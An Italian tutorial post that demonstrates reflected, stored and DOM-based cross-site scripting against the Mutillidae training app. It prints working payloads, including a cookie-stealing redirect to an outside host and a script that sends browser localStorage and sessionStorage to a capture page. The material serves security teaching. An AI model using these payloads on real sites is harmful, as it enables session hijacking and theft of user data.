OWASP Top 10 2013 – A3 Cross Site Scripting

Tempo di lettura: 9 minuti
Data pubblicazione: October 3, 2016

L’Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.

Dopo aver introdotto e spiegato alcune tipologie di Injection e l'Enumerazione e il bruteforce, eccoci con un nuovo articolo, stavolta su come eludere il controllo dell’input dei form che non impiegano sufficienti controlli.

A3 - Cross-Site Scripting

owasp3
owasp3

Wikipedia definisce il Cross-Site Scripting come una vulnerabilità presente nei siti web dinamici che impiegano un insufficiente controllo dell’input nei form, i quali permettono agli attaccanti di iniettare script e codici maligni in pagine visibili anche ad altri utenti. Questo tipo di vulnerabilità è una delle peggiori poichè si possono modificare siti internet e danno la possibilità di sottrarre dati sensibili, come le credenziali di un amministratore (secondo un rapporto di Symantec del 2007 l'80% di tutte le violazioni è causato da attacchi XSS).

Esistono tre tipologia principali di attacco:

  1. Non persistente: vengono sfruttati i dati forniti dall’utente senza salvare in modo permanente i dati;
  2. Persistente: l’input inserito è salvato nel database, è meno comune ma decisamente più devastante;
  3. DOM-based: è di tipo non persistente, ma talmente rilevante da costituire una categoria a se stante.

Le basi di un attacco XSS

L’attaccante, se trova un form malconfigurato, può quindi controllare il contenuto di codice HTML, CSS, JavaScript, HTML5, etc. Gli attori coinvolti in questo scenario sono:

  • Il sito vulnerabile;
  • La vittima, ossia l’utente che visita il sito compromesso;
  • L’attaccante e il server dell’attaccante. In questo tipo di attacco si viene solitamente reindirizzati ad una pagina maligna che sottrarrà le credenziali della vittima.

Un test di base per osservare se un form è vulnerabile

 Questo form è <script>alert("Vulnerabile a XSS");</script>

Inserendo questo codice apparirà un alert nella pagina compromessa.

owasp3test
owasp3test

Esempio di attacco XSS non persistente (reflected)

Come detto precedentemente, questo attacco sfrutta la vulnerabilità per sottrarre i dati dell’utente senza che lui se ne accorga e senza salvarli sul server compromesso. In Mutillidae effettuo il login con le credenziali:

  • _username: _samurai;
  • _password: _samurai.

e vado alla pagina_ http://127.0.0.1/index.php?page=dns-lookup.php_

owasp3xssreflected
owasp3xssreflected

Provo ad effettuare il test con la stringa di prima e noto che effettivamente è vulnerabile. Se è vulnerabile all’attacco, significa che posso anche vedere i cookie che il mio browser ha salvato per rimanere loggato alla pagina come utente samurai. Digito quindi la stringa

 <span style="font-family: Courier New;"><script>alert(document.cookie)</script></span>
owasp3xssreflected1
owasp3xssreflected1

Come si può notare, ci viene restituito il codice di sessione (cosidetto cookie) e il nome utente. Ovviamente in questo caso noi sappiamo il nostro username e password, per cui poco ci importa. Ma se un attaccante invece che mostrarci il pop-up, inviasse i cookie che intercetta ad un suo server? Riuscirebbe, con un semplice plugin come Cookie Manager, ad impersonare noi e autenticarsi con le nostre credenziali. Un esempio di codice simile potrebbe essere

 <script>location.href='http://miosito.it/log.php?cookie='+cookie</script>

Esempio di attacco XSS persistente

In questo caso, l’attacco viene salvato nel server dell’applicazione vulnerabile e ogni utente che passerà in quella pagina si ritroverà compromesso per colpa della leggerezza dei programmatori. Un esempio di pagina vulnerabile in Mutillidae è http://127.0.0.1/index.php?page=add-to-your-blog.php

Provo, come prima, ad inserire la solita stringa di test, ed appare il solito pop-up. Il problema è che ora il nostro codice viene salvato nel database e chiunque visiti il mio blog è passibile di attacco. Per verificarlo, visualizzo tutti i blog

owasp3persistent
owasp3persistent

Ed ecco che appare anche in questa pagina

owasp3persistent1
owasp3persistent1

E nello stesso modo di prima potremo inserire una stringa che invia i cookie di tutti gli utenti passanti per quella pagina al nostro server.

Esempio di attacco XSS DOM

Il Document Object Model (DOM) è una forma di rappresentazione dei documenti strutturati come modello orientato agli oggetti. DOM è lo stantard ufficiale del W3C per la rappresentazione di documenti strutturati in modo da essere neutrali sia per la linga che per la piattaforma; un classico esempio è la sorgente HTML che il browser web genera quando viene interpretato un documento HTML. Questo tipo di vulnerabilità è in aumento a causa di un utilizzo sempre più massiccio di script Client-Side rispetto ai Server-Side, e di conseguenza molti browser rischiano di esserne infetti.

Mutillidae ci offre un ottimo esempio di questo tipo di vulnerabilità, prendendo come spunto l’HTML 5 Web Storage. Esso è un semplice database implementato dai browser che permette alle pagine internet di salvare localmente (quindi nel nostro browser) stringhe utili ai fini della navigazione.

Le pagine che utilizzano questo metodo sono facilmente localizzabili osservando il codice sorgente della pagina; basta controllare se sono presenti le variabili “sessionStorage” e “localStorage

owasp3dom
owasp3dom

In alcuni browser si può utilizzare JavaScript sovrascrivendo la pagina corrente che state visitando (non si sta defacciando la pagina, è solamente un “trucco” del proprio browser). Con il plugin Firebug vado ad inserire la stringa nella console

javascript:alert("Funziona");
owasp3dom2
owasp3dom2

Ora che so che il mio browser supporta questa modalità, vado alla pagina _http://127.0.0.1/index.php?page=html5-storage.php _e provo a sottrarre le stringhe che il mio browser ha salvato. La pagina HTML5-storage appena aperta dovrebbe essere vuota. Se lo è, ricaricatela (digitando F5) e vedrete che appariranno diverse stringhe. Quelle stringhe sono appena state salvate nel vostro browser.

owasp3dom3
owasp3dom3

Inserisco e avvio (Run) tramite FireBug il seguente codice:

<code> try{ 
  var m = ""; 
  var l = window.localStorage; 
  var s = window.sessionStorage; 
  for(i=0;i<l.length;i++){ 
    var lKey = l.key(i); 
    m += lKey + "=" + l.getItem(lKey) + ";\n"; 
    }; 
  for(i=0;i<s.length;i++){ 
    var lKey = s.key(i); 
    m += lKey + "=" + s.getItem(lKey) + ";\n";
    }; 
  alert(m); 
  }catch(e){ alert(e.message); }</code>

Esso permette di visualizzare con un pop-up tutte le chiavi salvate nel nostro browser (funzioni _window.localStorage _e window.sessionStorage)

owasp3dom4
owasp3dom4

Ed ecco che abbiamo tutte le chiavi salvate nel nostro browser, insieme ad un paio che non visualizzava la pagina, ma erano nascoste.

Un altro esempio è quello di inserire manualente delle chiavi, bypassando il form di inserimento. Un possibile codice (potete ovviamente modificarlo, inserendo magari un ciclo) da inserire è

<code>sessionStorage.setItem("ChiaveMrTouch","MIACHIAVE");</code>
owasp3dom5
owasp3dom5

Ovviamente questo può funzionare solamente sul browser, quindi localmente. Ma la questione è sempre la stessa: se ci fosse un form vulnerabile in cui possiamo iniettare questo codice maligno e invarci le variabili salvate dell’utente inconsapevole?

Ad esempio, basta inserire questo codice

<script> 
  try{ 
    var s = sessionStorage; 
    var l = localStorage; 
    var m = ""; 
    var lXMLHTTP; 
    for(i=0;i<s.length;i++){ 
      m += "sessionStorage(" + s.key(i) + "):" + s.getItem(s.key(i)) + "; "; 
      } 
    for(i=0;i<l.length;i++){ 
      m += "localStorage(" + l.key(i) + "):" + l.getItem(l.key(i)) + "; "; 
      } 
    var lAction = "http://localhost/capture-data.php?html5storage=" + m; 
    lXMLHTTP = new XMLHttpRequest(); 
    lXMLHTTP.onreadystatechange = function(){}; 
    lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); 
    }catch(e){} 
</script>

nella pagina _http://127.0.0.1/index.php?page=add-to-your-blog.php _(la quale è vulnerabile ad XSS). Il codice prendere le variabili salvate nel browser e le invia alla pagina http://127.0.0.1/index.php?page=captured-data.php. La prova che ha funzionato risiede nella pagina stessa

owasp3dom6
owasp3dom6

Per chi volesse approfondire questo particolare tipo di attacco, consiglio questo approfondimento.

Conclusioni

Ho cercato di introdurre in maniera molto semplice la terza vulnerabilità più diffusa nelle applicazioni web. Sicuramente ci sono molte più accezioni e Mutillidae possiede altre pagine vulnerabili all’attacco, per cui non resta che provare autonomamente e conoscere al meglio questo attacco. In rete sono presenti centinaia di approfondimenti, consiglio la guida di Google, ExploitDB e ExcessXSS.